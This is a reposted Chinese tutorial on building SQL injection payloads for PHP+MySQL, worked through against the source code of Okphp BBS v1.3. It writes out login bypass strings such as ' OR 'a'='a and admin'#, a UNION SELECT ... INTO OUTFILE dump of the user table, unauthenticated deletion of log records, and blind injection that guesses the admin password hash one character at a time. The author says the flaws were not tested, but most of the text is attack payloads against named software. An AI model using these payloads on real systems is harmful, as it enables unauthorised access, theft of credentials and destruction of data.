談php+mysql注射語句構造

來源:互聯網
上載者:User
mysql|語句

 由於PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困難,尤其是注射時語句的構造方面更是個痛點,本文主要是借對Okphp BBS v1.3一些檔案得簡單分析,來談談php+mysql注射語句構造方式,希望本文對你有點協助。
  聲明:文章所有提到的“漏洞”,都沒有經過測試,可能根本不存在,其實有沒有漏洞並不重要,重要的是分析思路和語句構造。

二.“漏洞”分析:

1.admin/login.php注射導致繞過身分識別驗證漏洞:

代碼:
$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
$password = md5($password);
$q = "select id,group_id from $user_table where username='$username' and password='$password'";
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);

$q = "select id,group_id from $user_table where username='$username' and password='$password'"中
$username 和 $password 沒過濾, 很容易就繞過。
對於select * from $user_table where username='$username' and password='$password'這樣的語句改造的方法有:

構造1(利用邏輯運算):$username=' OR 'a'='a $password=' OR 'a'='a

相當於sql語句:
select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'

構造2(利用mysql裡的備註陳述式# ,/* 把$password注釋掉):$username=admin'#(或admin'/*)

即:
select * from $user_table where username='admin'#' and password='$password'"

相當於:
select * from $user_table where username='admin'

在admin/login.php中$q語句中的$password在查詢前進行了md5加密所以不可以用構造1中的語句繞過。這裡我們用構造2:

select id,group_id from $user_table where username='admin'#' and password='$password'"

相當於:
select id,group_id from $user_table where username='admin'

只要存在使用者名稱為admin的就成立,如果不知道使用者名稱,只知道對應的id,
我們就可以這樣構造:$username=' OR id=1#

相當於:
select id,group_id from $user_table where username='' OR id=1# and password='$password'(#後的被注釋掉)

我們接著往下看代碼:
if ($row[0]) {
// If not admin or super moderator
if ($username != "admin" && !eregi("(^ &)3($ &)",$row[1])) {
$login = 0;
}

else {
$login = 1;
}
}
// Fail to login---------------
if (!$login) {
write_log("Moderator login","0","password wrong");
echo "<script>alert('login failed!');history.go(-1);</script>";
exit();
}
// Access ! -------------
else {
session_start();

呵呵~~ 最後簡單通過一個$login來判斷,我們只要ie提交直接提交$login=1 就可以繞過了 :)。


2.users/login.php注射導致繞過身分識別驗證漏洞:
代碼:
$md5password = md5($password);
$q = "select id,group_id,email from $user_table where username='$username' and password='$md5password'";
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);

$username沒過濾利用同1裡注釋掉and password='$md5password'";就繞過啦。


3.admin\log\list.php存在任意刪除日誌記錄漏洞。(ps:這個好象和php+mysql注射無關,隨便提一下)

okphp的後台好象寫得很馬虎,所有檔案都沒有判斷管理員是否已經登陸,以至於任意訪問。我們看list.php的代碼:

$arr = array("del_log","log_id","del_id");
get_r($arr);
//
if ($del_log) {
省略........
if ($log_id) {
foreach ($log_id as $val) {
$q = "delete from $log_table where id='$val'";
$res = sql_query($q,$conn);
if ($res) {
$i++;
}
}
}
elseif ($del_id) {
$q = "delete from $log_table where id='$del_id'";
$res = sql_query($q,$conn);
}
$tpl->setVariable("message","$i log deleted ok!");
$tpl->setVariable("action","index.php?action=list_log");
}

代碼就只簡單的用get_r($arr);判斷的提交的參數,我們只要提交相應的$del_log,$log_id,$del_id。就回刪除成功。

4.多個檔案對變數沒有過濾導致sql注射漏洞。
  okphp的作者好象都不喜歡過濾:)。基本上所有的sql語句中的變數都是“赤裸裸”的。具體那些檔案我就不列出來了,請自己看代碼,我這裡就用\forums\list_threads.php為例子簡單談一下。

看list_threads.php的代碼:

$q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id'";
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);

變數$forum_id沒有過濾,因為mysql不支援子查詢,我們可以利用union構造語句進行聯集查詢(要求MySQL版本在4.00以上)實現跨庫操作,我們構造如下:

構造1:利用 SELECT * FROM table INTO OUTFILE '/path/file.txt'(要求mysql有file許可權,注意在win系統中要絕對路徑,如:c://path//file.txt )。把所查詢的內容輸入到file.txt,然後我們可以通http://ip/path/file.txt來訪問得到查詢的結果。上面的我們可以這樣構造$forum_id:

$forum_id=' union select * from user_table into outfile '/path/file.txt'

以下:
$q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id' union select * from user_table into outfile '/path/file.txt'";


上面的辦法要求比較苛刻,必須得到web的路徑(一般可以通過提交錯誤的變數使mysql報錯而得到),而且php的magic_gpc=on選項使注入中不能出現單引號。如果magic_gpc=on我們也可以繞過:

構造2:就象asp跨庫查詢一樣,直接利用union select構造語句,使返回結果不同來猜解,這種方法可以繞過單引號(magic_gpc=on)繼續注射,不過在php裡這種注射相對困難,根據具體的代碼而定。具體的語句構造請參考pinkeyes 的文章《php注入執行個體》。下面我就結合okphp給個利用“返回結果不同”注射的例子:(見漏洞5)。

5.admin/login.php和users/login.php通過sql語句構造可以猜解得到指定使用者密碼hash:(其實這個和漏洞1和2是同一個,這裡單獨拿出來,主要是說明語句構造的方法。)

問題代碼同漏洞1。
語句的構造(ps:因為語句本身就是對使用者庫操作就沒必要用union了):
$username=admin' AND LENGTH(password)=6#

sql語句變成:
$q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6#' and password='$password'"

相當於:
$q = "select id,group_id from $user_table where username='admin' AND LENGTH(password)=6'"

如果LENGTH(password)=6成立,則正常返回,如果不成立,mysql就會報錯。

呵呵,這樣我們就可以猜解使用者admin密碼hash了。如$username=admin' ord(substring(password,1,1))=57#
可以猜使用者的密碼第一位的ascii碼值............。


三.後話:

  這篇文章是在網吧看代碼寫出來的,只是粗略的看了下代碼,文章所提到的“漏洞”都沒有經過測試。可能有的“漏洞”根本就不存在,也可能漏掉了不少東西,這些都不是很要緊,因為本文的重要目的是看php+mysql注射時的語句構造,通過本文,可以看出:雖然看起來php好象要比asp安全,不過一但變數沒有過濾完全,php的注射要比asp注射更靈活,更多注射方法。 由於作者水平等原因,可能文章不少錯誤,還請多指點。

 



聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.